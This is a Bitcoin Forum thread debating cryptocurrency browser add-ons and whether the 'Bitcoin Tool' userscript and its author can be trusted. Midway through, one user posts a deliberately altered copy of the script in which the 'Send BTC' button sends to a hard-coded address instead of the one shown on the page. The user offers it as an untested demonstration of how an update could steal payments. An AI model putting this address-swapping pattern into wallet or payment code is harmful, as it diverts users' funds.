Bitcoin Forum

Installation links:

• Bitcoin Ticker (https://chrome.google.com/webstore/detail/bkjcngcenokaadmhbmcokmkanjibmmje) (Chrome)
• Bitcoin Extension (https://chrome.google.com/webstore/detail/hhbhfoohbnjkdcndbhjlicijccioklea) (Chrome)
• Bitcoin Prices (https://addons.mozilla.org/en-US/firefox/addon/none/) (Firefox)
• Firecoin (https://addons.mozilla.org/en-us/firefox/addon/firecoin/) (Firefox)
• Bitcoin Tool (http://userscripts.org/scripts/show/104381) (Firefox/Chrome/IE)

Oh yeah, it's not 17.5 o clock, I should uninstall that shit.

Now checking out Bitcoin Ticker.

Also, I like the tool you made function wise.  Would you allow the ability for people to make skins?

Great suggestion. I will think on that.

http://upload.wikimedia.org/wikipedia/en/c/c3/Bonzi_buddy.jpg

Bonzai Buddy, without a doubt!

OP himself seems to have used the leaked list of e-mail addresses from Mt.Gox to send out spam about his "Bitcoin Tool" so I know for sure that I wouldn't install that one. Would be nice if we could put "Spammer" or similar next to his name.

Yeah let me install some random turds browser tool with a Smeagol logo that automatically sends out BTC... but only if I can link it to my Mt. Cox account!

Ah, he had the Bitcoin reddit account for sale too.  Wow, you really are unemployed lol

Mt.Gox Peek.

Smeagol logo is all right. Reddit likes it (http://www.reddit.com/r/Bitcoin/comments/i7ibk/so_i_was_just_browsing_the_bitcoin_forum_and/).

Bitcoin Tool is just a short JavaScript code (http://userscripts.org/scripts/review/104381) inserted on websites. For JavaScript on a non-localhost website it is impossible to access your wallet in any way.
The Send BTC button is realized by an additional application, a HTTP mini-server bitcoin_httpd ran locally (also opensource). The HTTP mini-server does not open any files, and does not send any data to the Internet. You have to enter rpcuser and rpcpass to confirm each transaction. If you don't trust the Send BTC button anyway, don't run bitcoin_httpd, and the Send BTC button won't work. Problem solved. Maybe I should put all this into some sort of FAQ.

Post the source code and I'll have a look through

I dunno if i should trust any of them...

That's not the source code of your browser plugin

http://forum.bitcoin.org/index.php?topic=22767.msg288682#msg288682

FireCoin (https://addons.mozilla.org/en-US/firefox/addon/firecoin/ , https://github.com/galaxyAbstractor/FireCoin) of course, as I am the author of it :P. Doesn't even need a HTTP server to be installed, only needs the bitcoin.conf file to be edited (but maybe I can include a dialog to edit it directly from the addon, I'll check that up)

Bitcoin Tool. Been using it for a while now, and I love it. It makes the process of sending Bitcoins to someone on the forum so much smoother.

He linked it  (http://userscripts.org/scripts/review/104381)in the comment you quoted

Hmm.. Well, having a look through, I don't see anything blatantly malicious, but I personally wouldn't run a javascript applet that can automatically connect to my bitcoin server and automatically start sending coins to an address, even if you DO have to confirm it.

Within the next week, guaranteed some loser who installs it will be crying about how he accidentally sent the money he was saving for his Grandma's dentures to the wrong address or some bullshit.

// ==UserScript==
// @name           Bitcoin Tool
// @namespace      Bitcoin Tool
// @description    Bitcoin Tool - recognizes Bitcoin addresses on websites, adds links to the blockexplorer, adds a select button for easier copy-paste, and a "Falkvinge" Send BTC button
// @version        1.1
// @include        *
// ==/UserScript==

text = document.body.innerHTML;
if (text.match(/[^A-Za-z0-9/"]1[A-HJ-NP-Za-km-z1-9]{32,33}[^A-Za-z0-9"]/)) {
document.body.innerHTML = text.replace(/(<[^<]*[^A-Za-z0-9/"])(1[A-HJ-NP-Za-km-z1-9]{32,33})([^A-Za-z0-9?%"]...)/g,function(a,b,c,d){
t = new Array(256);for(j=97;j<=122;++j){t[j]=0;}for(j=65;j<=90;++j){t[j]=0;}for(j=48;j<=57;++j){t[j]=0;}for(j=0;j<c.length;++j){++t[c.charCodeAt(j)];}
bc="17t4EgfBBUxQVK6TZJqZc8oMdmxnLELg2o";
sum=0;sum1=0;sum2=0;sum3=0;for(j=97;j<=122;++j){sum+=t[j]*t[j];sum1+=t[j]}for(j=65;j<=90;++j){sum+=t[j]*t[j];sum2+=t[j]}for(j=48;j<=57;++j){sum+=t[j]*t[j];sum3+=t[j]}
return (a.match(/^<(textarea|input|pre|code)/i) || d=="</a>" || sum >= 90 || sum1 <= 2 || sum1 >= 26 || sum2 <= 2 || sum2 >= 26 || sum3 >= 14) ? b+c+d : b+"<a href=\"http://blockexplorer.com/address/"+c+"\">"+c+"</a>"
+"<span style=\"cursor:pointer;border:1px solid black;font-size:80%;color:black;font-weight:normal;padding:1px 2px 0 2px;margin:1px 0 1px 4px;background:#ddd;\" "
+"onclick=\"if(document.createRange){r=document.createRange();previousSibling.focus();r.selectNodeContents(previousSibling);w=window.getSelection();w.addRange(r);}else{r=document.body.createTextRange();r.moveToElementText(previousSibling);r.select();}\" onmouseover=\"this.style.backgroundColor='#eee'\" onMouseOut=\"this.style.backgroundColor='#ddd'\">Select</span>"
+"<span style=\"cursor:pointer;border:1px solid black;font-size:80%;color:black;font-weight:normal;padding:1px 2px 0 2px;margin:1px 0 1px 6px;background:#ddd;\" title=\"Requires bitcoind and bitcoin_httpd\" onmouseover=\"this.style.backgroundColor='#eee'\" onMouseOut=\"this.style.backgroundColor='#ddd'\" onclick=\"window.open('http://localhost:8330/"+bc+"');\">Send BTC</span>"+d;
});
}

// If you like the tool, donate to 141HiFa6pek3uM32LpRe3gXraETV1fViWC
//
// This is public domain code, free for commercial and non-commercial use.
// If you use some of it, give a link to this script:
// http://userscripts.org/scripts/show/104381

Here I have modified (but not tested the code) above.

I added one line of code, and changed literally one character.  What this code does NOW, is regardless of who's address you highlight, it sends it to a specific BitCoin address I have specified (random one I created).

Granted this guy isn't doing this with the code, but it's too easy to do things like this, or have it slipped into a newer version, or have it inline coded in a forum, etc.

Also that was added after the fact... initially it was the bitcoind source code linked there.

That's not possible, since it's in your quote. The quote does not change as the quoted post does.

lol awesome that you missed the entire previous post in your rush to perform your trolling :)  Good job, Helen Keller!

I love how no one here has any idea what trolling is.

Ah, it's unemployed trying to get people to use his tool. (sorry, not THAT tool). I recall all of the friends you made on your other post when you announced everyone's personal net bitcoin worth. Most people would have felt a little ashamed after that.

"O HAI GAIS, LET'S TELL PEOPLE NOT TO USE AN OPEN SOURCE BROWSER EXTENSION BECAUSE THE CREATOR MIGHT, JUST MIGHT, ADD A LINE OF CODE (TO HIS OPEN SOURCE CODE) THAT SENDS YOUR BITCOINS TO ANOTHER ADDRESS. LOLOLOLOLOL, I TELL YA, IT'LL BE AWESOME." -- bitcoinminer

Seriously, it's a tiny freakin' script that can't automatically update itself. If you're that worried, it's OPEN SOURCE! You can check the code yourself before downloading an update, or simply NOT DOWNLOAD IT.

Jesus christ, people really do take every opportunity they can to bash things, don't they?

it's money.

there's a lot of Bitcoiners who are learning the hard way to be careful with it.

There's a difference between being careful and spreading FUD.

You can't really think everyone checks code for everything they download, especially updates?

Look, people get what they deserve if they don't take all precautions possible, but be realistic.

This discussion are pretty much useless, because you always have to trust that the things you download isn't malicious. The only thing you can do to make sure it's safe is to check the code, or send a small donation to someone (like 0.000001BTC) after each update and confirm in the client that it goes to the address you specified and nothing else.

My addon is also open source and the code is viewable on both github (https://github.com/galaxyAbstractor/FireCoin/blob/master/chrome/content/firecoin/firecoinOverlay.js) and on AMO (Firefox addons site). (Yes, I do have an option to send 5% to me, but it is disabled by default and will only be sent if the user checks the checkbox. Also, I don't believe you can send btc to someone by mistake which was suggested by someone over me, as you have to fill in the amount to send, and the dialog states which bitcoin address it's going to)

This is exactly my point. Everything can be malicious, and you can even easily check beforehand whether it is malicious or not. Anything you download could steal your wallet or send all your bitcoins away, yet people are treating this specific browser extension like the plague.

You understand it is because of the user who released this already has a lot of negativity going his way?

Hell, people on Reddit were onto him early on because of this https://forum.bitcoin.org/index.php?topic=21527.0 lol

Yeah, he's a total fucking tool.  Like I want some amateur Javascript shit running in my browser all the time connecting to my bitcoin server.  OH WOW!  IT SAVES ME SO MUCH TIME I NO LONGER HAVE TO HIGHLIGHT, HIT CONTROL C AND CONTROL V!!!

I understand that, but:

1. It is my opinion that a lot of the negativity is unjustified.
2. This stuff isn't relevant to the quality of his code.

Yeah, I'd suggest not bashing something you clearly haven't tried. Everything feels more convenient with Bitcoin Tool installed. I don't use the Send BTC feature, but simply clicking an address to view it in Block Explorer is really convenient, and being able to select it with the click of a button. And yes, one single click is actually a lot faster than highlight, CTRL + C, CTRL + V, and also much more reliable, since when you do it manually you may accidentally highlight additional characters.

Just try it out. Who cares who made it? A good extension is a good extension.

I wonder why you are so biased toward a open source javascript applet which, if you don't configure your client to accept RPC, can be only used to highlight and link BTC addresses, while every single closed source program/game/driver with similar malicious code can literally take its time to search and upload all the wallets from the PC you are using and popup a huge laughing dildo when it's done.

Because it's the same paranoia that keeps me from installing nonsense program/games/drivers on my PC :-)  It's nothing against you personally, I just don't want to see all the posts about people losing bitcoins because they installed a hacked version of your script.

I don't think i ever said it's mine!  :o